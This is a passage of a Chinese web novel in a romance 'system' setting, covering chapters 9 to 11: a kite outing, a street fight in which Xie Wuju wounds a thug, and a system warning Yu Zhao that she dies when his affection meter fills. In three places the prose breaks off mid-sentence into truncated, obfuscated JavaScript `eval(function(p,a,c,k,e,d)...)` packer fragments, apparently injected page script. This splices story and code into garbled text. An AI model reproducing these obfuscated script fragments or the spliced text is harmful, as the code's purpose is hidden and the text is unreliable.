交接时,两人的手指不经意间碰在一起。谢无咎像被烫到似的缩了缩手,线轴差点脱手。虞昭假装没注意到,专心摆弄着风筝线:“哎呀,缠住了。” 谢无咎凑过来帮忙解线,呼吸轻轻拂过她的耳畔。虞昭感觉耳朵有些发烫,赶紧往旁边挪了半步:“你、你那边松一松...” 折腾了好一会儿,风筝终于重新飞稳。 两人并肩坐在草地上,看着那只彩蝶在蓝天白云间翩翩起舞。 “真好看。”谢无咎轻声说,目光却落在虞昭被阳光镀上金边的侧脸上。 虞昭转头看他,发现他正盯着自己,两人都愣了一下,随即同时笑出声来。谢无咎挠挠头:“我是说风筝。” “我知道。”虞昭抿嘴笑着,忽然指着天空,“快看!要碰到那朵云了!” 谢无咎仰头望去,风筝确实飞得极高,几乎要融入云端。 暖阳洒在草地上,虞昭仰面躺下,随手揪了一根草茎叼在嘴里。风筝线还缠在手腕上,那只彩蝶风筝在高空中变成了一个小点。 “当心蚂蚁爬身上。”谢无咎在她身旁坐下,递过水囊,“喝点水?跑了一上午了。” 虞昭接过水囊,仰头喝了一口,有几滴水顺着下巴滑落。她随手抹了抹:“这风筝比我想的飞得还高。”眯起眼睛望着天空,“线都快放完了。” 谢无咎学着她的样子躺下,草尖轻轻搔着他的耳朵。他侧过头,看见阳光透过虞昭的耳廓,映出淡淡的粉色。她的睫毛在脸上投下细小的阴影,随着呼吸轻轻颤动。 “看我做什么?”虞昭突然转头,差点撞上他的鼻尖。 谢无咎慌忙移开视线:“没、没什么。就是觉得...”他顿了顿,“你今天这身衣裳挺适合放风筝的。” 虞昭低头看了看自己鹅黄色的衫子,袖口还沾着些许草屑:“是吗?我特意挑了件方便活动的。” 谢无咎忽然想起什么,从怀里掏出一个小纸包:“差点忘了,给你带的松子糖。” 虞昭欢呼一声,接过糖就往嘴里塞,含含糊糊地说:“正好饿了。”糖渣沾在嘴角,她自己却浑然不觉。 谢无咎看着她贪吃的模样,忍不住伸手想帮她擦,又在半途改成指了指自己的嘴角示意。虞昭会意,舌头一卷把糖渣舔了进去,浑然不觉这个动作让谢无咎的耳根红了个透。 她忽然坐起身,“哎呀,食盒还没打开呢。” 两人围坐在食盒旁。虞昭揭开盖子,香气顿时飘散开来。她拿起一块桂花糕递给谢无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“明天...”谢无咎清了清嗓子,“明天还来放风筝吗?” 虞昭晃了晃手里的线:“来呀,不过得先把它修修。”她指着风筝一处微微开裂的竹骨,“刚才挂到树枝了。” “我帮你。”谢无咎脱口而出,“我家有上好的竹篾。” 虞昭眼睛一亮:“那说定了!”她忽然扯了扯线,“该收线了,天色不早。” 回城的路上,两人并肩走着,风筝收拢后依然引人注目。路过茶摊时,老板娘笑着搭话:“小两口的风筝真漂亮。” 虞昭刚要解释,谢无咎已经红着脸快步走开了。她小跑着追上去:“你走那么快做什么?” “没、没什么。”谢无咎脚步慢下来,偷偷看她脸色,“你别在意那些闲话。” 虞昭歪头看他,嘴角却忍不住上扬:“我都没听清她说什么。”其实听得一清二楚,心里还莫名有些高兴。 她把手里的风筝往谢无咎那边递了递,“你帮我拿会儿,食盒有点沉。” 分别时,谢无咎执意要把风筝还给她:“你做的,该你收着。” 虞昭却把线轴塞进他手里:“放风筝的诀窍我还没教你呢,明天继续。”说完转身就跑,发梢在风中扬起一道优美的弧线。 谢无咎站在原地,看着她的背影消失在街角,又低头看看怀里的风筝,嘴角不自觉地上扬。他轻轻抚过蝴蝶翅膀上的金粉,发现颜料底下藏着一个小小的“昭”字,不仔细看根本发现不了。 这个发现让他心头一暖,小心翼翼地卷好风筝线,像是捧着什么珍宝似的往家走去。 9. 黑化值 这日清晨,谢无咎推开窗,见外头艳阳高照。他伸了个懒腰,想着许久未去集市逛逛,便换了身干净的青色长衫,袖口还带着淡淡的皂角香。 “该添些笔墨了。”他自言自语着出了门,顺手将院门带好。街边卖早点的摊贩正掀开蒸笼,白雾裹着包子香气扑面而来。 此时虞昭正坐在自家后院的石凳上,看半莲修剪一株海棠。她手里把玩着前日谢无咎送她的竹哨,时不时吹出一两个音调。 “小姐这哨子吹得越来越好了。”半莲剪下一枝斜出的海棠,笑着打趣道,“谢公子教的吧?” 虞昭正要答话,忽见家里的小厮阿福慌慌张张跑进来,额头上全是汗:“小姐,不好了!我刚在街口看见谢公子往集市去,后头跟着三四个地痞模样的人,领头的像是西街那个刘三!” “刘三?”虞昭“腾”地站起来,竹哨掉在地上,“那不是专门□□的混混吗?”她提起裙摆就往院外跑,“半莲,快去叫两个家丁跟上!” 半莲连忙拦住她:“小姐别急,我这就去叫人。您先把外衫穿上,头发也乱了...” 虞昭哪还顾得上这些,随手抓了件藕荷色外衫披上,边跑边系衣带:“阿福,他们往哪个方向去了?” “东市,应该是往书摊那边...” 虞昭心头突突直跳,脚步越来越快。路过绸缎庄时,老板娘探出头来:“虞姑娘这么着急去哪啊?” “有事!”虞昭头也不回地答道,发间的珠花一颤一颤的。 东市的书摊前,谢无咎正专注地翻阅着一本《水经注》。摊主老李笑呵呵地介绍:“这是前朝孤本,谢公子好眼力。” 谢无咎刚要答话,突然被人狠狠撞了一下肩膀。他踉跄两步,手中的书差点掉落。抬头看见一个满脸横肉的壮汉带着三四个混混围了上来。 “哟,这不是谢大少爷吗?”为首的刘三咧嘴一笑,露出满口黄牙,“被家里赶出来了还有闲钱买书?” 谢无咎将书轻轻放回摊上,声音平静:“借过。” 老李见状,悄悄往后缩了缩身子。刘三却一脚踩在书摊边缘:“急什么?听说你现在住城南那个破院子?”他朝身后混混使了个眼色,“兄弟们今天正好闲着,不如去你那讨杯茶喝?” 谢无咎的指尖在袖中微微发颤,面上却不显:“我与诸位素不相识。” “装什么清高!”刘三突然提高嗓门,说着伸手就要揪谢无咎的衣领。 谢无咎后退半步,袖中的手已握成拳。这时一个鹅黄色的身影突然插了进来:“谢公子!原来你在这儿!” 虞昭快步走来,身后跟着气喘吁吁的阿福和两个家丁。她装作刚看见刘三的样子:“这位是...?” “西街刘三。”谢无咎不动声色地将虞昭往身后挡了挡,“我们正要走。” 刘三眯起眼睛:“走?”他突然伸手去拽虞昭的胳膊,“这小娘子长得挺俊啊...” 谢无咎眼疾手快,一把拍开刘三的手:“放尊重点!” “嘿!”刘三勃然大怒,“给我上!” 场面顿时乱作一团。谢无咎将虞昭往书摊后一推,自己迎了上去。他虽然看着文弱,出手却干脆利落,一个肘击将最先冲上来的混混打倒在地。 “谢公子小心!”虞昭惊呼。只见另一个混混抄起摊上的砚台朝谢无咎后脑砸去。 谢无咎侧身闪避,还是被擦到了肩膀。他闷哼一声,反手抓住那人手腕一拧,砚台“咣当”落地。 虞昭急得四处张望,突然看见巡街的张捕头正往这边来,连忙大喊:“张叔!这边有人闹事!” 刘三见状,从腰间摸出一把匕首:“多管闲事的丫头!”寒光直刺虞昭面门。 谢无咎瞳孔骤缩,飞身扑来。匕首划过他的手臂,鲜血顿时染红了靛青色的衣袖。他顾不上疼痛,一把抓住刘三持刀的手,狠狠往下一折。 “啊!”刘三惨叫一声,匕首当啷落地。谢无咎趁机一个扫腿将他放倒,膝盖死死压住他的胸口。 谢无咎感觉手臂上火辣辣的疼,鲜血顺着指尖滴落在地上,绽开一朵朵暗红的花。他死死盯着刘三,对方正抱着手臂在地上打滚哀嚎。 “谢公子!”虞昭的惊呼声从身后传来。 谢无咎猛地回头,看见另一个混混正抄起路边摊上的擀面杖朝虞昭扑去。他眼前一黑,身体比脑子更快地冲了过去。擀面杖重重砸在他肩头,他闷哼一声,反手抓住那人的衣领,一记头槌撞得对方眼冒金星。 “你们找死!”谢无咎从牙缝里挤出这几个字。他从来不知道自己能这么凶狠,像是身体里关着的野兽突然被放了出来。 刘三挣扎着爬起来,从靴筒里又摸出一把短刀:“我今天非要你命不可!” 谢无咎把虞昭往身后一推,抄起地上掉落的匕首迎了上去。两把利刃在空中相撞,发出刺耳的金属声。刘三显然没料到这个看起来文弱的书生会有这样的身手,一时乱了阵脚。 “谢公子小心左边!”虞昭急得直跺脚。 谢无咎侧身避过偷袭,匕首在掌心转了个圈,狠狠扎进刘三的肩膀。对方吃痛松手,短刀当啷落地。谢无咎趁机一个肘击,将人打翻在地。 “杀人了!”其余混混见状,吓得四散而逃。 谢无咎喘着粗气,握着匕首的手微微发抖。鲜血从伤口不断涌出,在地上汇成一小滩。 张捕头带着几个衙役赶到,见状大喝:“都住手!” 谢无咎这才松开刘三,踉跄着站起身。鲜血顺着手臂滴落,在地上汇成一小滩。 张捕头认出了刘三:“又是你!” 刘三捂着肩膀,脸色惨白:“你、你给我等着...” “滚!”谢无咎一声暴喝,吓得刘三四脚朝天地跑掉,连掉落的家伙什都顾不上捡。 四周突然安静下来,只剩下谢无咎粗重的喘息声。他低头看着自己染血的衣袖,这才感觉到一阵后怕。刚才那股狠劲一过,手臂上的伤口火辣辣地疼起来。 “谢公子...”虞昭的声音带着哭腔。她小跑过来,手忙脚乱地解下自己的绢帕,轻轻按在他的伤口上,“疼不疼?我们马上去医馆。” 谢无咎这才回过神来,看着虞昭发红的眼眶,心里一软:“没事,小伤。”他想抬手擦掉她脸上的灰尘,却发现自己的手抖得厉害。 虞昭急得声音都变了调:“张叔,谢公子伤得不轻...” “去吧去吧。”张捕头挥挥手,“这里交给我。” 虞昭一把扶住他:“别动,我扶着你走。”她转头对吓呆的阿福喊道,“快去前面医馆叫大夫准备着!” 阿福这才如梦初醒,撒腿就跑。 走在去医馆的路上,谢无咎感觉脚步越来越沉。虞昭几乎是用肩膀扛着他半边身子,他能闻到她发间淡淡的茉莉香,混合着一丝血腥气。 “疼吗?”虞昭声音发颤。 “对不起,”谢无咎低声道,“连累你了。” 虞昭咬着嘴唇:“胡说什么!”她使劲眨了眨眼,把眼泪憋回去,“那些人明显是冲你来的,到底怎么回事?” 谢无咎沉默了一会儿:“是谢家派来的人。”他顿了顿,“以后...以后我离你远些,免得连累你。” 虞昭突然停下脚步,瞪着他:“谢无咎!”这是她第一次连名带姓地叫他,“你说什么胡话!” 谢无咎被她吼得一愣。虞昭的眼泪终于掉了下来,砸在他的手背上,烫得他心头一颤。谢无咎看着虞昭泛红的眼眶,突然觉得手臂上的伤也没那么疼了。 “我、我不是那个意思...”谢无咎手足无措地想解释。 “闭嘴!”虞昭凶巴巴地说,眼泪却越擦越多,“先去治伤,其他的...其他的以后再说。” 转过街角,医馆的招牌已经能看见了。老大夫站在门口张望,见他们来了连忙迎上来:“快进来!阿福都跟我说了。” 谢无咎沉默地坐在诊床上,任由大夫剪开衣袖。伤口暴露在空气中,皮肉外翻,看得虞昭心头一颤。她紧紧攥着自己的帕子,指甲几乎要掐进掌心。 “忍着点。”大夫拿起烧酒冲洗伤口。谢无咎浑身一僵,额头渗出细密的汗珠,却硬是一声不吭。 虞昭忍不住上前一步:“大夫,您轻点...” “没事的,”谢无咎轻声安慰她,“看着吓人,其实不深。” 虞昭别过脸去,肩膀微微发抖。老大夫一边清理伤口一边说:“姑娘去外间等着吧,这里血糊糊的,别吓着你。” “我就在这儿。”虞昭固执地说,伸手握住谢无咎没受伤的那只手。 谢无咎感觉到她掌心冰凉,还在微微颤抖。他想说些什么,却被老大夫用烧酒冲洗伤口的刺痛打断了。 “忍着点,”老大夫说,“得把脏东西冲干净。” 谢无咎咬紧牙关,额头上渗出细密的汗珠。虞昭的手握得更紧了,指甲几乎掐进他的肉里。 “好了,”老大夫终于包扎完毕,又开了几副药,“伤口不要碰水,三天后来换药。”他看了看两人交握的手,意味深长地说,“年轻人火气别太大,有什么话好好说。” 虞昭这才意识到自己还抓着谢无咎的手,慌忙松开,耳根红得像是要滴血。谢无咎也有些不自在,轻咳一声:“多谢大夫。” 走出医馆时,夕阳已经西沉。 谢无咎站在台阶上,望着远处渐渐亮起的灯火,突然开口:“虞昭...” “嗯?” “今日...多谢你。”他声音低沉,“但也正因如此,我更不该连累你。” 虞昭急得一把抓住他的衣袖:“说什么傻话!那些人明显是冲你来的,我怎么能...” “你不明白。”谢无咎轻轻抽回手,“今日我杀了人,那些人背后的势力不会善罢甘休。接下来...”他喉结滚动了一下,“接下来恐怕会有更多麻烦。” 夜风吹起虞昭的裙角,她固执地又抓住谢无咎的衣角:“那就一起面对。我爹在衙门还有些关系,总能...” “虞昭。”谢无咎突然转身,双手按住她的肩膀,“看着我。”他的眼神前所未有的认真,“我不想你卷入这些是非。今日若不是你及时赶到,我可能已经...”他顿了顿,“答应我,以后别再为我冒险了。” 虞昭仰头看着他,发现他眼底藏着某种陌生的东西,像是冰封的湖面下暗流涌动。她突然有些害怕,不是怕那些混混,而是怕眼前这个突然变得陌生的谢无咎。 “我...我答应你。”她轻声说,“但你也要答应我,别一个人扛着。” 虞昭执意要送谢无咎回家,两人并肩走在渐渐暗下来的街道上,谁都没有说话。 快到谢无咎家时,虞昭突然开口:“以后、以后出门叫上我一起。” 谢无咎没有回答,只是轻轻拍了拍她的头,就像安抚一个不懂事的孩子。 “我、我是说,”虞昭结结巴巴地解释,“两个人总比一个人安全...” 谢无咎看着她泛红的耳尖,心头涌上一股暖流。他轻轻“嗯”了一声,嘴角不自觉地上扬。街边的灯笼次第亮起,将两人的影子拉得很长,重叠在一起,分不清彼此。 接下来的日子里,谢无咎的小院变得格外安静。虞昭每次来看他,都能看见他独自坐在海棠树下发呆。那棵海棠树已经开始结果,青涩的小梨子藏在叶片间,就像谢无咎心里那些说不出口的心思。 “谢公子,我带了新摘的莲蓬。”虞昭故作轻松地推开院门,“可甜了,你尝尝?” 谢无咎回过神,接过莲蓬,嘴角扯出一个笑容:“多谢。”他慢条斯理地剥着莲子,却明显心不在焉。 虞昭在他身边坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虞昭摇摇头:“没什么。”她最后望了一眼谢无咎离去的方向,转身进了府门。 这几日虞昭天天都去看望谢无咎。 虞昭提着食盒轻手轻脚地推开院门,看见谢无咎正坐在石凳上发呆。他的目光落在远处,手里无意识地摩挲着一块青石,指节因用力而微微发白。 “谢公子。”虞昭故意放重了脚步,脸上扬起笑容,“我做了新的桂花糕,你尝尝?” 谢无咎猛地回神,手里的青石“啪嗒”一声掉在地上。他迅速站起身,嘴角扯出一个笑容:“虞昭来了。”声音里带着刻意装出来的轻快。 虞昭把食盒放在石桌上,掀开盖子。香甜的桂花味立刻飘散开来,却冲不散院子里沉闷的气氛。她偷偷打量着谢无咎——他的眼下有淡淡的青黑,下巴上冒出了细小的胡茬,整个人像是蒙了一层灰。 “尝尝看?”虞昭拿起一块糕点递过去,“我特意多放了些蜂蜜。” 谢无咎接过糕点,指尖不小心碰到她的手,立刻像被烫到似的缩了缩:“多谢。”他咬了一小口,机械地咀嚼着,“很好吃。” 虞昭在他身边坐下,裙摆扫过地上的落叶,发出细碎的声响。她看着谢无咎木然的表情,心里像被针扎了一样疼。 “谢公子,”她鼓起勇气开口,“城西的荷花开了,咱们明天去看看好不好?” 谢无咎的手指在糕点上捏出一道裂痕:“最近...可能不太方便出门。” “那我们去钓鱼?你上次不是说想试试新做的鱼竿吗?” “虞昭。”谢无咎突然抬头,眼神里闪过一丝虞昭从未见过的冷意,“别费心了。” 这句话像一盆冷水浇在虞昭头上。她咬了咬嘴唇,突然一把抓住谢无咎的手:“你到底要这样到什么时候?”声音里带着哽咽,“我知道你心里难受,可你不能一直...” 谢无咎的手在她掌心里微微发抖。他盯着两人交握的手,声音沙哑:“那天我拿着刀的时候...竟然觉得痛快。”他抬起头,眼神痛苦而迷茫,“这样的我,怎么配...” “胡说!”虞昭打断他,手指收紧,“你是为了保护我!那些人活该!” 谢无咎苦笑一声:“可我现在满脑子都是...”他猛地住口,别过脸去,“你不明白。” 虞昭突然站起身,走到谢无咎面前,强迫他看着自己:“我是不明白。但我知道,你是谢无咎,是那个会为我折纸鹤、陪我放风筝的谢无咎。”她的眼泪砸在两人交握的手上,“你不能因为一次意外就否定自己。” 谢无咎看着她的眼泪,眼神渐渐软化。他抬起手,犹豫了一下,轻轻擦去她脸上的泪痕:“别哭...”声音里带着心疼。 “那你答应我,”虞昭抓住他的手腕,“明天跟我去看荷花。” 谢无咎沉默良久,终于点了点头:“好。” 虞昭破涕为笑,从食盒底层又拿出一包点心:“这是杏仁酥,你晚上饿了可以吃。” 谢无咎接过点心,突然说:“虞昭,如果有一天我变得不像我了...” “不会的。”虞昭斩钉截铁地说,“不管你变成什么样,我都认得出你。” 夕阳西沉,院子里渐渐暗了下来。谢无咎送虞昭到门口,看着她走远的背影,脸上的笑容慢慢消失。他低头看着自己的手,就是这双手,曾经温柔地折过纸鹤,也曾凶狠地握过匕首。 回到院里,他捡起那块掉落的青石,用力攥在手心,直到疼痛从掌心传到心里。梨树上的麻雀叽叽喳喳地叫着,谢无咎抬头望去,眼神渐渐变得坚定。 “我会保护好她的。”他轻声对自己说,声音里带着前所未有的决绝,“无论付出什么代价。” 谢无咎眼神一亮,自顾自点头,喃喃自语。 “我会保护好她的。” “我会保护好她的。” “我会保护好她的。” “我会保护好她的。” “我会保护好她的。” ...... 10. 好感度100% 清晨的阳光透过窗纱洒进闺房,虞昭坐在梳妆台前,心不在焉地看着铜镜里的自己。半莲正用木梳轻轻梳理着她的长发,嘴里还哼着小曲。 “小姐今日想梳什么发式?”半莲问道,“前日新学的飞仙髻可好?” 虞昭刚要回答,突然脑海中响起那个熟悉又冰冷的声音:“宿主,任务进展不错,但有件事该告诉你了。” “等谢无咎对你的好感值满了之后,你的寿命就到此为止了,这就是这任务的最终结局” 虞昭的手指猛地攥紧了梳妆台的边缘,指节泛白。半莲察觉到她的异样,停下梳子:“小姐?您的手在发抖...” “没、没事。”虞昭强撑着笑了笑,“就是突然想起谢公子说今日要教我写字,差点忘了。”她努力控制着声音不要发颤,“就梳个简单的垂鬟分肖髻吧。” 半莲点点头,继续手上的动作。虞昭盯着铜镜里自己苍白的脸色,脑海里系统的话像毒蛇般缠绕着她:“好感值满了你就得死...这就是任务的最终结局...” 梳子划过发丝的沙沙声此刻显得格外刺耳。虞昭感觉后背沁出一层冷汗,浸湿了里衣。她下意识动了动手指,却碰到了谢无咎送她的梅花木簪。 “小姐,梳好了。”半莲的声音将她拉回现实,“要戴哪支簪子?” 虞昭随手一指:“就那支白玉的吧”她站起身,双腿却像灌了铅一般沉重。 半莲打开首饰盒,突然“咦”了一声:“小姐,这支金镶玉的蝴蝶簪怎么断了?” 虞昭接过簪子,发现蝴蝶翅膀处确实有道裂痕。 “这还是谢公子送您的呢。”半莲在后面遗憾地说。 “先放着吧。”她放下簪子,声音有些飘忽。 穿戴整齐后,虞昭借口要看书,打发走了半莲。房门一关,她立刻瘫坐在床边,手指无意识地揪着锦被上的绣花。 “怎么会这样...”她喃喃自语,“我对他好反而会害死自己?”眼前浮现谢无咎温柔的笑脸,胸口像被巨石压住般闷痛。 窗外传来丫鬟们嬉笑的声音,虞昭猛地站起身,在房间里来回踱步。绣鞋踩在地板上发出轻微的“嗒嗒”声。 “现在疏远他还来得及吗?”她咬着指甲思索,“可要是他突然对我冷淡...”想起谢无咎最近阴郁的眼神,她不禁打了个寒颤。 梳妆台上的铜镜映出她焦灼的样子。虞昭走过去,看着镜中憔悴的面容,突然伸手把镜子扣在桌面上。 “要不...告诉他真相?”这个念头刚冒出来就被她自己否定了,“不行,他要是知道我接近他是为了活命...”她想起谢无咎说过最恨被人欺骗,心沉到了谷底。 虞昭正坐在窗边发呆,手指无意识地绞着帕子,窗外的花开得正艳,她却连看一眼的心思都没有。突然响起的敲门声吓得她差点从椅子上跳起来。 “小姐,”半莲轻轻推开门,“谢公子来了,正在前厅等着呢。” 虞昭手里的帕子掉在了地上。她慌忙弯腰去捡,却不小心碰倒了桌上的茶盏,茶水洒了一桌。“他、他怎么突然来了...”声音都有些发颤。 半莲连忙拿布来擦:“谢公子说想来看看您。小姐,您的手怎么这么凉?” “没事...”虞昭深吸一口气,胡乱理了理鬓发,“请谢公子进来吧。” 不一会儿,熟悉的脚步声从门外传来。 谢无咎走了进来,瞧见虞昭的脸色不太好,有些担心地问道:“虞昭,你脸色怎么这么差?”说着就要伸手探她的额头。 虞昭下意识往后一躲,谢无咎的手尴尬地停在半空。她赶紧挤出一个笑容:“我没事,就是昨晚没睡好。”她指了指对面的椅子,“坐吧,我让半莲沏茶。” 谢无咎坐下后,从袖中取出一个小布包:“路过李记糕点铺,买了你爱吃的桂花糖蒸酥酪。” 虞昭接过点心,指尖微微发抖。往常她早就开心地拆开吃了,今天却只是把布包放在桌上,轻声道了句谢。 “虞昭,”谢无咎倾身向前,眼里满是担忧,“你是不是遇到什么麻烦了?” “没有啊。”虞昭强迫自己抬头与他对视,却被他关切的目光刺得心头一痛,“就是有点累。” 谢无咎沉默了一会儿,突然说:“我这几日想通了很多事。”他声音轻柔,“多亏你一直陪着我。那天要不是你...” 虞昭听着谢无咎这话,心里却“咯噔”一下这好感值可不能再这么涨下去了。 “别说了!”虞昭猛地打断他,声音大得把自己都吓了一跳。她慌乱地站起身,“我、我去看看茶怎么还没好...” 谢无咎一把拉住她的手腕:“虞昭,你到底怎么了?”他的手掌温暖干燥,却让虞昭像被烫到一样猛地抽回手。 “真的没事...”虞昭背过身去,假装整理窗台上的花瓶,“就是、就是觉得我其实没你想的那么好。” 谢无咎站起身走到她身后,保持着一步的距离:“为什么突然这么说?” 虞昭盯着花瓶里微微颤动的水面,看见自己扭曲的倒影:“我有时候挺自私的...做事也不考虑后果...” “谁不是呢?”谢无咎轻笑一声,“上次我还把你的风筝挂树上了,害你哭鼻子。” 往日里这样的玩笑总能逗笑虞昭,今天却只让她鼻子发酸。她攥紧了窗棂,指甲几乎要掐进木头里。 谢无咎叹了口气:“好吧,既然你不想说,我不勉强你。”他从袖中又取出一样东西,“这个给你。” 虞昭转头,看见他掌心躺着一只精巧的草编蚱蜢,栩栩如生。 “昨儿跟巷口的老王头学的。”谢无咎有些不好意思,“虽然比不上你做的那些。” 虞昭接过蚱蜢,喉咙像被什么堵住了。她想起自己教他折纸鹤的那个下午,阳光也是这么温暖。 “我该走了。”谢无咎看了看窗外,“你好好休息。”走到门口又回头,“虞昭,不管发生什么,记得有我在。” 谢无咎的身影消失在院门外,虞昭还站在原地发愣。手里的草编蚱蜢被攥得变了形,细长的后腿折了一道。她这才惊觉,连忙松开手,小心翼翼地把它抚平。 窗外的花瓣被风吹落,一片片飘进屋里,像极了那个他们一起放风筝的春光乍现的瞬间。 “小姐...”半莲端着茶盘站在一旁,欲言又止。 虞昭把蚱蜢轻轻放在梳妆台上,转身时衣袖带倒了茶盏。“咣当”一声,茶水流了一桌,浸湿了谢无咎刚带来的点心纸包。 “哎呀!”半莲连忙去擦,却被虞昭一把拉住。 “半莲,”虞昭的声音轻得几乎听不见,“我有事跟你说。”她看了看门外,确认没人后,才继续道:“今早系统告诉我,等谢公子对我的好感值满了,我就会寿命耗尽。” 半莲手里的抹布掉在地上:“什么?!”她赶紧捂住嘴,压低声音,“怎么会这样?那、那怎么办?” 虞昭颓然坐在床边,手指无意识地揪着床帐上的流苏:“我要是现在疏远他,他肯定会起疑心。”她想起谢无咎刚才受伤的眼神,胸口一阵发闷。 半莲急得直搓手:“要不咱们去找老爷想办法?” “不行!”虞昭猛地抬头,“这事太古怪了,爹娘不会信的。”她咬了咬嘴唇,“而且、而且我也不想让谢公子知道。” 窗外传来一阵鸟鸣,两只麻雀在枝头蹦跳着。虞昭盯着它们看了会儿,突然说:“我再问问系统。” 她闭上眼睛,在心里默念:“系统,真的没有别的办法了吗?” “哼,”系统的声音懒洋洋的,“规则就是规则。” “那要是我...”虞昭急中生智,“要是我先死了呢?” 系统似乎被问住了,沉默了一会儿才说:“你倒是想得美!任务失败的话,你的魂魄会被永远禁锢...” 虞昭猛地睁开眼睛,脸色煞白。半莲连忙扶住她:“小姐?系统怎么说?” “不行,”虞昭的声音发抖,“连死都不行。” 半莲的眼泪一下子涌了出来:“这可怎么是好...”她突然抓住虞昭的手,“小姐,要不咱们逃吧?离开这里,去江南找舅老爷?” 虞昭苦笑着摇头:“你觉得系统会让我逃掉吗?”她指了指自己的心口,“它就在这儿。” 半莲突然说:“那、那要是谢公子不喜欢您了呢?” 虞昭愣住了。这个念头她不是没想过,但... “我试过了,”她轻声说,“刚才我对他那么冷淡,他却...”她看向梳妆台上那只草编蚱蜢,喉头哽住了。 半莲也跟着发愁,两人坐在屋里,你看看我,我看看你,都没了主意。 ———— 谢无咎在虞家门前那条青石板路上来回踱步,鞋底磨得石子沙沙作响。他第三次抬手想敲门,又犹豫着放下来,手指无意识地摩挲着腰间玉佩的流苏。 “谢公子?”半莲推开门时吓了一跳,“您怎么在这儿站着?快进来坐。” 谢无咎局促地整了整衣襟,跟着半莲进了院子。初夏的阳光透过葡萄架,在他月白色的长衫上投下斑驳的光影。他听见熟悉的脚步声从回廊传来,心跳突然加快了几分。 虞昭转过屏风时,脚步明显顿了一下。她今天穿了件藕荷色的衫子,发间只簪了支素银簪子,衬得脸色有些苍白。 “谢公子今日来......”她声音轻轻的,手指绞着帕子。 谢无咎急忙上前两步:“今日西街有诗会,我记得你最爱听他们吟诗作对......”他说着从袖中掏出一张洒金笺,“这是他们预备的题目,我想着你或许......” 虞昭的目光落在那张金笺上,想起去年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虞昭的指甲深深掐进掌心。她多想抬头看看他,多想告诉他不是他的错。可一想到那个要命的好感值,她只能狠下心肠:“谢公子想多了。我只是......真的不舒服。” 谢无咎突然伸手,却在即将碰到她衣袖时硬生生停住。他收回手,苦笑道:“好,我走。你好好休息。” 虞昭听着他的脚步声渐渐远去,终于抬起头,却只看见半开的院门外,他落寞的背影消失在街角。 半莲递来帕子时,虞昭才发现自己脸上湿漉漉的。她接过帕子按在眼睛上,听见自己哽咽着说:“我这样对他,他该多难过啊。” 而此时,谢无咎正站在街角的槐树下,远远望着虞家的院墙。他想起虞昭泛红的眼眶,突然攥紧了拳头:“不对,她分明是在说谎。” 虞昭站在院子里发了会儿呆,突然转身往屋里走:“半莲,陪我出去走走。” 半莲连忙放下手里的针线活,小跑着跟上:“小姐想去哪儿?” “就......随便走走。”虞昭的声音轻飘飘的,手指无意识地绕着腰间的丝绦。 街边小贩的吆喝声此起彼伏。虞昭走得很慢,转过街角时,一阵甜腻的麦芽糖香气飘过来,她猛地停住脚步。 那个熟悉的糖人摊子还在老地方,摊主老张头正捏着个兔子形状的糖人。虞昭怔怔地看着,忽然想起有一次谢无咎排了半个时辰队,就为了给她买那个兔子糖人。那天他举着糖人跑到她面前时,额头上还挂着汗珠,却笑得比糖人还甜。 “小姐......”半莲担忧地碰了碰她的袖子。 虞昭这才发现自己的眼眶又湿了。她慌忙用袖子擦了擦,强笑道:“这太阳真刺眼。” 老张头抬头看见她们,热情地招呼:“虞小姐,今儿个要什么花样?上回谢公子说要学捏糖人,我还特意留了模具呢!” 虞昭的喉咙突然哽住了。她摇摇头,快步走开,生怕再多待一秒就会哭出来。 半莲追上来,轻声道:“小姐,要不咱们去找谢公子说清楚?总这样躲着也不是办法......” “怎么说?”虞昭苦笑,“告诉他我接近他是为了刷好感值?告诉他现在好感值满了我就得死?”她的声音越来越低,“他一定会觉得我疯了。” 路过茶楼时,里头传来阵阵喝彩声。虞昭抬头望去,二楼窗边依稀可见几个文人打扮的身影。她的心猛地一跳,会不会谢无咎也在那儿? 半莲顺着她的目光看去,突然“哎呀”一声:“那不是谢公子吗?” 虞昭慌忙拽着半莲躲到一旁的槐树后。她偷偷望过去,只见谢无咎独自坐在角落,面前的茶一动没动。他手里拿着本书,却半天没翻一页,只是怔怔地望着窗外发呆。 “小姐,谢公子看起来好难过。”半莲小声道。 虞昭的指甲深深掐进掌心。她多想冲上去告诉他不是他的错,可她不能。最后她只是轻轻说了句:“走吧,回家。” 回到房里,虞昭一头栽倒在床上。窗外的知了不知疲倦地叫着,吵得她脑仁疼。 “小姐,喝点绿豆汤吧。”半莲端着碗进来,“天热,当心中暑。” 虞昭摇摇头,翻了个身面朝里。半莲叹了口气,把碗放在床头小几上。瓷碗碰着木几,发出轻轻的“咔哒”声。 “半莲,”虞昭突然开口,声音闷闷的,“你说......他会不会恨我?” 11. 疏离 虞昭坐在藤椅上,膝上摊着一本《诗经》,可眼睛却直愣愣地盯着“关关雎鸠”四个字发呆。书页被风吹得哗哗作响,她却浑然不觉。 “小姐,”半莲提着茶壶走过来,忍不住伸手在她眼前晃了晃,“您这书都拿反了。” 虞昭这才回过神来,手忙脚乱地把书倒转过来,脸上闪过一丝窘迫。“我......我在想事情。”她支吾着解释。 半莲叹了口气,给她倒了杯新泡的菊花茶:“您这都发呆一上午了。要我说,既然惦记谢公子,不如......” “不行!”虞昭突然提高声音,吓得半莲手一抖,茶水溅在石桌上。她连忙压低嗓音:“我是说......我们得保持距离。” 半莲用抹布擦着桌面,小声道:“可您这样魂不守舍的,我看着都难受。昨儿个谢公子来送书,您连杯茶都没让人家喝完就......” 